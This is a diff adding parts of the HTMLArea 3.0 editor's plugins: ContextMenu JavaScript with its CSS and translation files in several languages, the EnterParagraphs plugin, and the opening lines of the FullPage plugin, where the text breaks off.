+ if (HTMLArea.is_ie)
+ self.iePopup.hide();
+ };
+ var target = HTMLArea.is_ie ? ev.srcElement : ev.target;
+ var ifpos = getPos(self.editor._iframe);
+ var x = ev.clientX + ifpos.x;
+ var y = ev.clientY + ifpos.y;
+
+ var div;
+ var doc;
+ if (!HTMLArea.is_ie) {
+ doc = document;
+ } else {
+ // IE stinks
+ var popup = this.iePopup = window.createPopup();
+ doc = popup.document;
+ doc.open();
+ doc.write("<html><head><style type='text/css'>@import url(" + _editor_url + "plugins/ContextMenu/menu.css); html, body { padding: 0px; margin: 0px; overflow: hidden; border: 0px; }</style></head><body unselectable='yes'></body></html>");
+ doc.close();
+ }
+ div = doc.createElement("div");
+ if (HTMLArea.is_ie)
+ div.unselectable = "on";
+ div.oncontextmenu = function() { return false; };
+ div.className = "htmlarea-context-menu";
+ if (!HTMLArea.is_ie)
+ div.style.left = div.style.top = "0px";
+ doc.body.appendChild(div);
+
+ var table = doc.createElement("table");
+ div.appendChild(table);
+ table.cellSpacing = 0;
+ table.cellPadding = 0;
+ var parent = doc.createElement("tbody");
+ table.appendChild(parent);
+
+ var options = this.getContextMenu(target);
+ for (var i = 0; i < options.length; ++i) {
+ var option = options[i];
+ var item = doc.createElement("tr");
+ parent.appendChild(item);
+ if (HTMLArea.is_ie)
+ item.unselectable = "on";
+ else item.onmousedown = function(ev) {
+ HTMLArea._stopEvent(ev);
+ return false;
+ };
+ if (!option) {
+ item.className = "separator";
+ var td = doc.createElement("td");
+ td.className = "icon";
+ var IE_IS_A_FUCKING_SHIT = '>';
+ if (HTMLArea.is_ie) {
+ td.unselectable = "on";
+ IE_IS_A_FUCKING_SHIT = " unselectable='on' style='height=1px'> ";
+ }
+ td.innerHTML = "<div" + IE_IS_A_FUCKING_SHIT + "</div>";
+ var td1 = td.cloneNode(true);
+ td1.className = "label";
+ item.appendChild(td);
+ item.appendChild(td1);
+ } else {
+ var label = option[0];
+ item.className = "item";
+ item.__msh = {
+ item: item,
+ label: label,
+ action: option[1],
+ tooltip: option[2] || null,
+ icon: option[3] || null,
+ activate: function() {
+ self.closeMenu();
+ self.editor.focusEditor();
+ this.action();
+ }
+ };
+ label = label.replace(/_([a-zA-Z0-9])/, "<u>$1</u>");
+ if (label != option[0])
+ keys.push([ RegExp.$1, item ]);
+ label = label.replace(/__/, "_");
+ var td1 = doc.createElement("td");
+ if (HTMLArea.is_ie)
+ td1.unselectable = "on";
+ item.appendChild(td1);
+ td1.className = "icon";
+ if (item.__msh.icon)
+ td1.innerHTML = "<img align='middle' src='" + item.__msh.icon + "' />";
+ var td2 = doc.createElement("td");
+ if (HTMLArea.is_ie)
+ td2.unselectable = "on";
+ item.appendChild(td2);
+ td2.className = "label";
+ td2.innerHTML = label;
+ item.onmouseover = function() {
+ this.className += " hover";
+ self.editor._statusBarTree.innerHTML = this.__msh.tooltip || ' ';
+ };
+ item.onmouseout = function() { this.className = "item"; };
+ item.oncontextmenu = function(ev) {
+ this.__msh.activate();
+ if (!HTMLArea.is_ie)
+ HTMLArea._stopEvent(ev);
+ return false;
+ };
+ item.onmouseup = function(ev) {
+ var timeStamp = (new Date()).getTime();
+ if (timeStamp - self.timeStamp > 500)
+ this.__msh.activate();
+ if (!HTMLArea.is_ie)
+ HTMLArea._stopEvent(ev);
+ return false;
+ };
+ //if (typeof option[2] == "string")
+ //item.title = option[2];
+ }
+ }
+
+ if (!HTMLArea.is_ie) {
+ var dx = x + div.offsetWidth - window.innerWidth + 4;
+ var dy = y + div.offsetHeight - window.innerHeight + 4;
+ if (dx > 0) x -= dx;
+ if (dy > 0) y -= dy;
+ div.style.left = x + "px";
+ div.style.top = y + "px";
+ } else {
+ // determine the size (did I mention that IE stinks?)
+ var foobar = document.createElement("div");
+ foobar.className = "htmlarea-context-menu";
+ foobar.innerHTML = div.innerHTML;
+ document.body.appendChild(foobar);
+ var w = foobar.offsetWidth;
+ var h = foobar.offsetHeight;
+ document.body.removeChild(foobar);
+ this.iePopup.show(ev.screenX, ev.screenY, w, h);
+ }
+
+ this.currentMenu = div;
+ this.timeStamp = (new Date()).getTime();
+
+ HTMLArea._addEvent(document, "mousedown", documentClick);
+ HTMLArea._addEvent(this.editordoc, "mousedown", documentClick);
+ if (keys.length > 0)
+ HTMLArea._addEvent(this.editordoc, "keypress", keyPress);
+
+ HTMLArea._stopEvent(ev);
+ return false;
+};
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8 | ISO-8859-1
+
+// translated: <]{MJ}[> i@student.ethz.ch
+
+
+ContextMenu.I18N = {
+ // Items that appear in menu. Please note that an underscore (_)
+ // character in the translation (right column) will cause the following
+ // letter to become underlined and be shortcut for that menu option.
+
+ "Cut" : "Ausschneiden",
+ "Copy" : "Kopieren",
+ "Paste" : "Einfügen",
+ "Image Properties" : "_Bild Einstellungen...",
+ "Modify Link" : "_Link ändern...",
+ "Check Link" : "Link testen...",
+ "Remove Link" : "Link entfernen...",
+ "Cell Properties" : "Z_ellen Einstellungen...",
+ "Row Properties" : "Ze_ilen Einstellungen...",
+ "Insert Row Before" : "Zeile einfügen v_or Position",
+ "Insert Row After" : "Zeile einfügen n_ach Position",
+ "Delete Row" : "Zeile löschen",
+ "Table Properties" : "_Tabellen Einstellungen...",
+ "Insert Column Before" : "Spalte einfügen vo_r Position",
+ "Insert Column After" : "Spalte einfügen na_ch Position",
+ "Delete Column" : "Spalte löschen",
+ "Justify Left" : "Links ausrichten",
+ "Justify Center" : "Zentriert",
+ "Justify Right" : "Rechts ausrichten",
+ "Justify Full" : "Blocksatz",
+ "Make link" : "Lin_k erstellen...",
+ "Remove the" : "",
+ "Element" : "Element entfernen...",
+
+ // Other labels (tooltips and alert/confirm box messages)
+
+ "Please confirm that you want to remove this element:" : "Wollen sie dieses Element wirklich entfernen ?",
+ "Remove this node from the document" : "Dieses Element aus dem Dokument entfernen",
+ "How did you get here? (Please report!)" : "How did you get here? (Please report!)",
+ "Show the image properties dialog" : "Fenster für die Bild-Einstellungen anzeigen",
+ "Modify URL" : "URL ändern",
+ "Current URL is" : "Aktuelle URL ist",
+ "Opens this link in a new window" : "Diesen Link in neuem Fenster öffnen",
+ "Please confirm that you want to unlink this element." : "Wollen sie diesen Link wirklich entfernen ?",
+ "Link points to:" : "Link zeigt auf:",
+ "Unlink the current element" : "Link auf Element entfernen",
+ "Show the Table Cell Properties dialog" : "Zellen-Einstellungen anzeigen",
+ "Show the Table Row Properties dialog" : "Zeilen-Einstellungen anzeigen",
+ "Insert a new row before the current one" : "Zeile einfügen vor der aktuellen Position",
+ "Insert a new row after the current one" : "Zeile einfügen nach der aktuellen Position",
+ "Delete the current row" : "Zeile löschen",
+ "Show the Table Properties dialog" : "Show the Table Properties dialog",
+ "Insert a new column before the current one" : "Spalte einfügen vor der aktuellen Position",
+ "Insert a new column after the current one" : "Spalte einfügen nach der aktuellen Position",
+ "Delete the current column" : "Spalte löschen",
+ "Create a link" : "Link erstellen"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+ContextMenu.I18N = {
+ // Items that appear in menu. Please note that an underscore (_)
+ // character in the translation (right column) will cause the following
+ // letter to become underlined and be shortcut for that menu option.
+
+ "Cut" : "Αποκοπή",
+ "Copy" : "Αντιγραφή",
+ "Paste" : "Επικόλληση",
+ "Image Properties" : "Ιδιότητες Εικόνας...",
+ "Modify Link" : "Τροποποίηση συνδέσμου...",
+ "Check Link" : "Έλεγχος συνδέσμων...",
+ "Remove Link" : "Διαγραφή συνδέσμου...",
+ "Cell Properties" : "Ιδιότητες κελιού...",
+ "Row Properties" : "Ιδιότητες γραμμής...",
+ "Insert Row Before" : "Εισαγωγή γραμμής πριν",
+ "Insert Row After" : "Εισαγωγή γραμμής μετά",
+ "Delete Row" : "Διαγραφή γραμμής",
+ "Table Properties" : "Ιδιότητες πίνακα...",
+ "Insert Column Before" : "Εισαγωγή στήλης πριν",
+ "Insert Column After" : "Εισαγωγή στήλης μετά",
+ "Delete Column" : "Διαγραφή στήλης",
+ "Justify Left" : "Στοίχηση Αριστερά",
+ "Justify Center" : "Στοίχηση Κέντρο",
+ "Justify Right" : "Στοίχηση Δεξιά",
+ "Justify Full" : "Πλήρης Στοίχηση",
+ "Make link" : "Δημιουργία συνδέσμου...",
+ "Remove the" : "Αφαίρεση",
+ "Element" : "στοιχείου...",
+
+ // Other labels (tooltips and alert/confirm box messages)
+
+ "Please confirm that you want to remove this element:" : "Είστε βέβαιος πως θέλετε να αφαιρέσετε το στοιχείο ",
+ "Remove this node from the document" : "Αφαίρεση αυτού του κόμβου από το έγγραφο",
+ "How did you get here? (Please report!)" : "Πώς ήρθατε μέχρι εδώ; (Παρακαλούμε αναφέρετε το!)",
+ "Show the image properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες εικόνας",
+ "Modify URL" : "Τροποποίηση URL",
+ "Current URL is" : "Το τρέχων URL είναι",
+ "Opens this link in a new window" : "Ανοίγει αυτό τον σύνδεσμο σε ένα νέο παράθυρο",
+ "Please confirm that you want to unlink this element." : "Είστε βέβαιος πως θέλετε να αφαιρέσετε τον σύνδεσμο από αυτό το στοιχείο:",
+ "Link points to:" : "Ο σύνδεμος οδηγεί εδώ:",
+ "Unlink the current element" : "Αφαίρεση συνδέσμου από το παρών στοιχείο",
+ "Show the Table Cell Properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες κελιού Πίνακα",
+ "Show the Table Row Properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες γραμμής Πίνακα",
+ "Insert a new row before the current one" : "Εισαγωγή μιας νέας γραμμής πριν την επιλεγμένη",
+ "Insert a new row after the current one" : "Εισαγωγή μιας νέας γραμμής μετά την επιλεγμένη",
+ "Delete the current row" : "Διαγραφή επιλεγμένης γραμμής",
+ "Show the Table Properties dialog" : "Εμφάνιση διαλόγου με τις Ιδιότητες Πίνακα",
+ "Insert a new column before the current one" : "Εισαγωγή νέας στήλης πριν την επιλεγμένη",
+ "Insert a new column after the current one" : "Εισαγωγή νέας στήλης μετά την επιλεγμένη",
+ "Delete the current column" : "Διαγραφή επιλεγμένης στήλης",
+ "Create a link" : "Δημιουργία συνδέσμου"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+ContextMenu.I18N = {
+ // Items that appear in menu. Please note that an underscore (_)
+ // character in the translation (right column) will cause the following
+ // letter to become underlined and be shortcut for that menu option.
+
+ "Cut" : "Cut",
+ "Copy" : "Copy",
+ "Paste" : "Paste",
+ "Image Properties" : "_Image Properties...",
+ "Modify Link" : "_Modify Link...",
+ "Check Link" : "Chec_k Link...",
+ "Remove Link" : "_Remove Link...",
+ "Cell Properties" : "C_ell Properties...",
+ "Row Properties" : "Ro_w Properties...",
+ "Insert Row Before" : "I_nsert Row Before",
+ "Insert Row After" : "In_sert Row After",
+ "Delete Row" : "_Delete Row",
+ "Table Properties" : "_Table Properties...",
+ "Insert Column Before" : "Insert _Column Before",
+ "Insert Column After" : "Insert C_olumn After",
+ "Delete Column" : "De_lete Column",
+ "Justify Left" : "Justify Left",
+ "Justify Center" : "Justify Center",
+ "Justify Right" : "Justify Right",
+ "Justify Full" : "Justify Full",
+ "Make link" : "Make lin_k...",
+ "Remove the" : "Remove the",
+ "Element" : "Element...",
+
+ // Other labels (tooltips and alert/confirm box messages)
+
+ "Please confirm that you want to remove this element:" : "Please confirm that you want to remove this element:",
+ "Remove this node from the document" : "Remove this node from the document",
+ "How did you get here? (Please report!)" : "How did you get here? (Please report!)",
+ "Show the image properties dialog" : "Show the image properties dialog",
+ "Modify URL" : "Modify URL",
+ "Current URL is" : "Current URL is",
+ "Opens this link in a new window" : "Opens this link in a new window",
+ "Please confirm that you want to unlink this element." : "Please confirm that you want to unlink this element.",
+ "Link points to:" : "Link points to:",
+ "Unlink the current element" : "Unlink the current element",
+ "Show the Table Cell Properties dialog" : "Show the Table Cell Properties dialog",
+ "Show the Table Row Properties dialog" : "Show the Table Row Properties dialog",
+ "Insert a new row before the current one" : "Insert a new row before the current one",
+ "Insert a new row after the current one" : "Insert a new row after the current one",
+ "Delete the current row" : "Delete the current row",
+ "Show the Table Properties dialog" : "Show the Table Properties dialog",
+ "Insert a new column before the current one" : "Insert a new column before the current one",
+ "Insert a new column after the current one" : "Insert a new column after the current one",
+ "Delete the current column" : "Delete the current column",
+ "Create a link" : "Create a link"
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+ContextMenu.I18N = {\r\r
+ // Items that appear in menu. Please note that an underscore (_)\r\r
+ // character in the translation (right column) will cause the following\r\r
+ // letter to become underlined and be shortcut for that menu option.\r\r
+\r\r
+ "Cut" : "גזור",\r\r
+ "Copy" : "העתק",\r\r
+ "Paste" : "הדבק",\r\r
+ "Image Properties" : "_מאפייני תמונה...",\r\r
+ "Modify Link" : "_שנה קישור...",\r\r
+ "Check Link" : "בדו_ק קישור...",\r\r
+ "Remove Link" : "_הסר קישור...",\r\r
+ "Cell Properties" : "מאפייני ת_א...",\r\r
+ "Row Properties" : "מאפייני _טור...",\r\r
+ "Insert Row Before" : "ה_כנס שורה לפני",\r\r
+ "Insert Row After" : "הכנ_ס שורה אחרי",\r\r
+ "Delete Row" : "_מחק שורה",\r\r
+ "Table Properties" : "מאפייני ט_בלה...",\r\r
+ "Insert Column Before" : "הכנס _טור לפני",\r\r
+ "Insert Column After" : "הכנס ט_ור אחרי",\r\r
+ "Delete Column" : "מח_ק טור",\r\r
+ "Justify Left" : "ישור לשמאל",\r\r
+ "Justify Center" : "ישור למרכז",\r\r
+ "Justify Right" : "ישור לימין",\r\r
+ "Justify Full" : "ישור לשורה מלאה",\r\r
+ "Make link" : "צור קי_שור...",\r\r
+ "Remove the" : "הסר את אלמנט ה-",\r\r
+ "Element" : "...",\r\r
+\r\r
+ // Other labels (tooltips and alert/confirm box messages)\r\r
+\r\r
+ "Please confirm that you want to remove this element:" : "אנא אשר שברצונך להסיר את האלמנט הזה:",\r\r
+ "Remove this node from the document" : "הסרה של node זה מהמסמך",\r\r
+ "How did you get here? (Please report!)" : "איך הגעת הנה? (אנא דווח!)",\r\r
+ "Show the image properties dialog" : "מציג את חלון הדו-שיח של מאפייני תמונה",\r\r
+ "Modify URL" : "שינוי URL",\r\r
+ "Current URL is" : "URL נוכחי הוא",\r\r
+ "Opens this link in a new window" : "פתיחת קישור זה בחלון חדש",\r\r
+ "Please confirm that you want to unlink this element." : "אנא אשר שאתה רוצה לנתק את אלמנט זה.",\r\r
+ "Link points to:" : "הקישור מצביע אל:",\r\r
+ "Unlink the current element" : "ניתוק את האלמנט הנוכחי",\r\r
+ "Show the Table Cell Properties dialog" : "מציג את חלון הדו-שיח של מאפייני תא בטבלה",\r\r
+ "Show the Table Row Properties dialog" : "מציג את חלון הדו-שיח של מאפייני שורה בטבלה",\r\r
+ "Insert a new row before the current one" : "הוספת שורה חדשה לפני הנוכחית",\r\r
+ "Insert a new row after the current one" : "הוספת שורה חדשה אחרי הנוכחית",\r\r
+ "Delete the current row" : "מחיקת את השורה הנוכחית",\r\r
+ "Show the Table Properties dialog" : "מציג את חלון הדו-שיח של מאפייני טבלה",\r\r
+ "Insert a new column before the current one" : "הוספת טור חדש לפני הנוכחי",\r\r
+ "Insert a new column after the current one" : "הוספת טור חדש אחרי הנוכחי",\r\r
+ "Delete the current column" : "מחיקת את הטור הנוכחי",\r\r
+ "Create a link" : "יצירת קישור"\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+ContextMenu.I18N = {\r\r
+ // Items that appear in menu. Please note that an underscore (_)\r\r
+ // character in the translation (right column) will cause the following\r\r
+ // letter to become underlined and be shortcut for that menu option.\r\r
+\r\r
+ "Cut" : "Knippen",\r\r
+ "Copy" : "Kopiëren",\r\r
+ "Paste" : "Plakken",\r\r
+ "Image Properties" : "Eigenschappen afbeelding...",\r\r
+ "Modify Link" : "Hyperlin_k aanpassen...",\r\r
+ "Check Link" : "Controleer hyperlin_k...",\r\r
+ "Remove Link" : "Ve_rwijder hyperlink...",\r\r
+ "Cell Properties" : "C_eleigenschappen...",\r\r
+ "Row Properties" : "Rijeigenscha_ppen...",\r\r
+ "Insert Row Before" : "Rij invoegen boven",\r\r
+ "Insert Row After" : "Rij invoegen onder",\r\r
+ "Delete Row" : "Rij _verwijderen",\r\r
+ "Table Properties" : "_Tabeleigenschappen...",\r\r
+ "Insert Column Before" : "Kolom invoegen voor",\r\r
+ "Insert Column After" : "Kolom invoegen na",\r\r
+ "Delete Column" : "Kolom verwijderen",\r\r
+ "Justify Left" : "Links uitlijnen",\r\r
+ "Justify Center" : "Centreren",\r\r
+ "Justify Right" : "Rechts uitlijnen",\r\r
+ "Justify Full" : "Uitvullen",\r\r
+ "Make link" : "Maak hyperlin_k...",\r\r
+ "Remove the" : "Verwijder het",\r\r
+ "Element" : "element...",\r\r
+\r\r
+ // Other labels (tooltips and alert/confirm box messages)\r\r
+\r\r
+ "Please confirm that you want to remove this element:" : "Is het werkelijk de bedoeling dit element te verwijderen:",\r\r
+ "Remove this node from the document" : "Verwijder dit punt van het document",\r\r
+ "How did you get here? (Please report!)" : "Hoe kwam je hier? (A.U.B. doorgeven!)",\r\r
+ "Show the image properties dialog" : "Laat het afbeeldingseigenschappen dialog zien",\r\r
+ "Modify URL" : "Aanpassen URL",\r\r
+ "Current URL is" : "Huidig URL is",\r\r
+ "Opens this link in a new window" : "Opend deze hyperlink in een nieuw venster",\r\r
+ "Please confirm that you want to unlink this element." : "Is het werkelijk de bedoeling dit element te unlinken.",\r\r
+ "Link points to:" : "Hyperlink verwijst naar:",\r\r
+ "Unlink the current element" : "Unlink het huidige element",\r\r
+ "Show the Table Cell Properties dialog" : "Laat de tabel celeigenschappen dialog zien",\r\r
+ "Show the Table Row Properties dialog" : "Laat de tabel rijeigenschappen dialog zien",\r\r
+ "Insert a new row before the current one" : "Voeg een nieuwe rij in boven de huidige",\r\r
+ "Insert a new row after the current one" : "Voeg een nieuwe rij in onder de huidige",\r\r
+ "Delete the current row" : "Verwijder de huidige rij",\r\r
+ "Show the Table Properties dialog" : "Laat de tabel eigenschappen dialog zien",\r\r
+ "Insert a new column before the current one" : "Voeg een nieuwe kolom in voor de huidige",\r\r
+ "Insert a new column after the current one" : "Voeg een nieuwe kolom in na de huidige",\r\r
+ "Delete the current column" : "Verwijder de huidige kolom",\r\r
+ "Create a link" : "Maak een hyperlink"\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+</files>
+
--- /dev/null
+/* styles for the ContextMenu /HTMLArea */
+/* The ContextMenu plugin is (c) dynarch.com 2003. */
+/* Distributed under the same terms as HTMLArea itself */
+
+div.htmlarea-context-menu {
+ position: absolute;
+ border: 1px solid #aca899;
+ padding: 2px;
+ background-color: #fff;
+ cursor: default;
+ z-index: 1000;
+}
+
+div.htmlarea-context-menu table {
+ font: 11px tahoma,verdana,sans-serif;
+ border-collapse: collapse;
+}
+
+div.htmlarea-context-menu tr.item td.icon img {
+ width: 18px;
+ height: 18px;
+}
+
+div.htmlarea-context-menu tr.item td.icon {
+ padding: 0px 3px;
+ height: 18px;
+ background-color: #cdf;
+}
+
+div.htmlarea-context-menu tr.item td.label {
+ padding: 1px 10px 1px 3px;
+}
+
+div.htmlarea-context-menu tr.separator td {
+ padding: 2px 0px;
+}
+
+div.htmlarea-context-menu tr.separator td div {
+ border-top: 1px solid #aca899;
+ overflow: hidden;
+ position: relative;
+}
+
+div.htmlarea-context-menu tr.separator td.icon {
+ background-color: #cdf;
+}
+
+div.htmlarea-context-menu tr.separator td.icon div {
+/* margin-left: 3px; */
+ border-color: #fff;
+}
+
+div.htmlarea-context-menu tr.separator td.label div {
+ margin-right: 3px;
+}
+
+div.htmlarea-context-menu tr.item.hover {
+ background-color: #316ac5;
+ color: #fff;
+}
+
+div.htmlarea-context-menu tr.item.hover td.icon {
+ background-color: #619af5;
+}
--- /dev/null
+// Modification to htmlArea to insert Paragraphs instead of
+// linebreaks, under Gecko engines, circa January 2004
+// By Adam Wright, for The University of Western Australia
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+function EnterParagraphs(editor, params) {
+ this.editor = editor;
+ // activate only if we're talking to Gecko
+ if (HTMLArea.is_gecko)
+ this.onKeyPress = this.__onKeyPress;
+};
+
+EnterParagraphs._pluginInfo = {
+ name : "EnterParagraphs",
+ version : "1.0",
+ developer : "Adam Wright",
+ developer_url : "http://blog.hipikat.org/",
+ sponsor : "The University of Western Australia",
+ sponsor_url : "http://www.uwa.edu.au/",
+ license : "htmlArea"
+};
+
+// An array of elements who, in html4, by default, have an inline display and can have children
+// we use RegExp here since it should be a bit faster, also cleaner to check
+EnterParagraphs.prototype._html4_inlines_re = /^(a|abbr|acronym|b|bdo|big|cite|code|dfn|em|font|i|kbd|label|q|s|samp|select|small|span|strike|strong|sub|sup|textarea|tt|u|var)$/i;
+
+// Finds the first parent element of a given node whose display is probably not inline
+EnterParagraphs.prototype.parentBlock = function(node) {
+ while (node.parentNode && (node.nodeType != 1 || this._html4_inlines_re.test(node.tagName)))
+ node = node.parentNode;
+ return node;
+};
+
+// Internal function for recursively itterating over a all nodes in a fragment
+// If a callback function returns a non-null value, that is returned and the crawl is therefore broken
+EnterParagraphs.prototype.walkNodeChildren = function(me, callback) {
+ if (me.firstChild) {
+ var myChild = me.firstChild;
+ var retVal;
+ while (myChild) {
+ if ((retVal = callback(this, myChild)) != null)
+ return retVal;
+ if ((retVal = this.walkNodeChildren(myChild, callback)) != null)
+ return retVal;
+ myChild = myChild.nextSibling;
+ }
+ }
+};
+
+// Callback function to be performed on each node in the hierarchy
+// Sets flag to true if we find actual text or an element that's not usually displayed inline
+EnterParagraphs.prototype._isFilling = function(self, node) {
+ if (node.nodeType == 1 && !self._html4_inlines_re.test(node.nodeName))
+ return true;
+ else if (node.nodeType == 3 && node.nodeValue != '')
+ return true;
+ return null;
+ //alert(node.nodeName);
+};
+
+// Inserts a node deeply on the left of a hierarchy of nodes
+EnterParagraphs.prototype.insertDeepLeftText = function(target, toInsert) {
+ var falling = target;
+ while (falling.firstChild && falling.firstChild.nodeType == 1)
+ falling = falling.firstChild;
+ //var refNode = falling.firstChild ? falling.firstChild : null;
+ //falling.insertBefore(toInsert, refNode);
+ falling.innerHTML = toInsert;
+};
+
+// Kind of like a macros, for a frequent query...
+EnterParagraphs.prototype.isElem = function(node, type) {
+ return node.nodeName.toLowerCase() == type.toLowerCase();
+};
+
+// The onKeyPress even that does all the work - nicely breaks the line into paragraphs
+EnterParagraphs.prototype.__onKeyPress = function(ev) {
+
+ if (ev.keyCode == 13 && !ev.shiftKey && this.editor._iframe.contentWindow.getSelection) {
+
+ var editor = this.editor;
+
+ // Get the selection and solid references to what we're dealing with chopping
+ var sel = editor._iframe.contentWindow.getSelection();
+
+ // Set the start and end points such that they're going /forward/ through the document
+ var rngLeft = editor._doc.createRange(); var rngRight = editor._doc.createRange();
+ rngLeft.setStart(sel.anchorNode, sel.anchorOffset); rngRight.setStart(sel.focusNode, sel.focusOffset);
+ rngLeft.collapse(true); rngRight.collapse(true);
+
+ var direct = rngLeft.compareBoundaryPoints(rngLeft.START_TO_END, rngRight) < 0;
+
+ var startNode = direct ? sel.anchorNode : sel.focusNode;
+ var startOffset = direct ? sel.anchorOffset : sel.focusOffset;
+ var endNode = direct ? sel.focusNode : sel.anchorNode;
+ var endOffset = direct ? sel.focusOffset : sel.anchorOffset;
+
+ // Find the parent blocks of nodes at either end, and their attributes if they're paragraphs
+ var startBlock = this.parentBlock(startNode); var endBlock = this.parentBlock(endNode);
+ var attrsLeft = new Array(); var attrsRight = new Array();
+
+ // If a list, let the browser take over, if we're in a paragraph, gather it's attributes
+ if (this.isElem(startBlock, 'li') || this.isElem(endBlock, 'li'))
+ return;
+
+ if (this.isElem(startBlock, 'p')) {
+ for (var i = 0; i < startBlock.attributes.length; i++) {
+ attrsLeft[startBlock.attributes[i].nodeName] = startBlock.attributes[i].nodeValue;
+ }
+ }
+ if (this.isElem(endBlock, 'p')) {
+ for (var i = 0; i < endBlock.attributes.length; i++) {
+ // If we start and end within one paragraph, don't duplicate the 'id'
+ if (endBlock != startBlock || endBlock.attributes[i].nodeName.toLowerCase() != 'id')
+ attrsRight[endBlock.attributes[i].nodeName] = endBlock.attributes[i].nodeValue;
+ }
+ }
+
+ // Look for where to start and end our chopping - within surrounding paragraphs
+ // if they exist, or at the edges of the containing block, otherwise
+ var startChop = startNode; var endChop = endNode;
+
+ while ((startChop.previousSibling && !this.isElem(startChop.previousSibling, 'p'))
+ || (startChop.parentNode && startChop.parentNode != startBlock && startChop.parentNode.nodeType != 9))
+ startChop = startChop.previousSibling ? startChop.previousSibling : startChop.parentNode;
+
+ while ((endChop.nextSibling && !this.isElem(endChop.nextSibling, 'p'))
+ || (endChop.parentNode && endChop.parentNode != endBlock && endChop.parentNode.nodeType != 9))
+ endChop = endChop.nextSibling ? endChop.nextSibling : endChop.parentNode;
+
+ // Set up new paragraphs
+ var pLeft = editor._doc.createElement('p'); var pRight = editor._doc.createElement('p');
+
+ for (var attrName in attrsLeft) {
+ var thisAttr = editor._doc.createAttribute(attrName);
+ thisAttr.value = attrsLeft[attrName];
+ pLeft.setAttributeNode(thisAttr);
+ }
+ for (var attrName in attrsRight) {
+ var thisAttr = editor._doc.createAttribute(attrName);
+ thisAttr.value = attrsRight[attrName];
+ pRight.setAttributeNode(thisAttr);
+ }
+
+ // Get the ranges destined to be stuffed into new paragraphs
+ rngLeft.setStartBefore(startChop);
+ rngLeft.setEnd(startNode,startOffset);
+ pLeft.appendChild(rngLeft.cloneContents()); // Copy into pLeft
+
+ rngRight.setEndAfter(endChop);
+ rngRight.setStart(endNode,endOffset);
+ pRight.appendChild(rngRight.cloneContents()); // Copy into pRight
+
+ // If either paragraph is empty, fill it with a nonbreakable space
+ var foundBlock = false;
+ foundBlock = this.walkNodeChildren(pLeft, this._isFilling);
+ if (foundBlock != true)
+ this.insertDeepLeftText(pLeft, ' ');
+
+ foundBlock = false;
+ foundBlock = this.walkNodeChildren(pRight, this._isFilling);
+ if (foundBlock != true)
+ this.insertDeepLeftText(pRight, ' ');
+
+ // Get a range for everything to be replaced and replace it
+ var rngAround = editor._doc.createRange();
+
+ if (!startChop.previousSibling && this.isElem(startChop.parentNode, 'p'))
+ rngAround.setStartBefore(startChop.parentNode);
+ else
+ rngAround.setStart(rngLeft.startContainer, rngLeft.startOffset);
+
+ if (!endChop.nextSibling && this.isElem(endChop.parentNode, 'p'))
+ rngAround.setEndAfter(endChop.parentNode);
+ else
+ rngAround.setEnd(rngRight.endContainer, rngRight.endOffset);
+
+ rngAround.deleteContents();
+ rngAround.insertNode(pRight);
+ rngAround.insertNode(pLeft);
+
+ // Set the selection to the start of the (second) new paragraph
+ if (pRight.firstChild) {
+ while (pRight.firstChild && this._html4_inlines_re.test(pRight.firstChild.nodeName))
+ pRight = pRight.firstChild;
+ // Slip into any inline tags
+ if (pRight.firstChild && pRight.firstChild.nodeType == 3)
+ pRight = pRight.firstChild; // and text, if they've got it
+
+ var rngCaret = editor._doc.createRange();
+ rngCaret.setStart(pRight, 0);
+ rngCaret.collapse(true);
+
+ sel = editor._iframe.contentWindow.getSelection();
+ sel.removeAllRanges();
+ sel.addRange(rngCaret);
+ }
+
+ // Stop the bubbling
+ HTMLArea._stopEvent(ev);
+ }
+};
--- /dev/null
+// FullPage Plugin for HTMLArea-3.0
+// Implementation by Mihai Bazon. Sponsored by http://thycotic.com
+//
+// htmlArea v3.0 - Copyright (c) 2002 interactivetools.com, inc.
+// This notice MUST stay intact for use (see license.txt).
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon for InteractiveTools.
+// http://dynarch.com/mishoo
+//
+// $Id: full-page.js,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+
+function FullPage(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ cfg.fullPage = true;
+ var tt = FullPage.I18N;
+ var self = this;
+
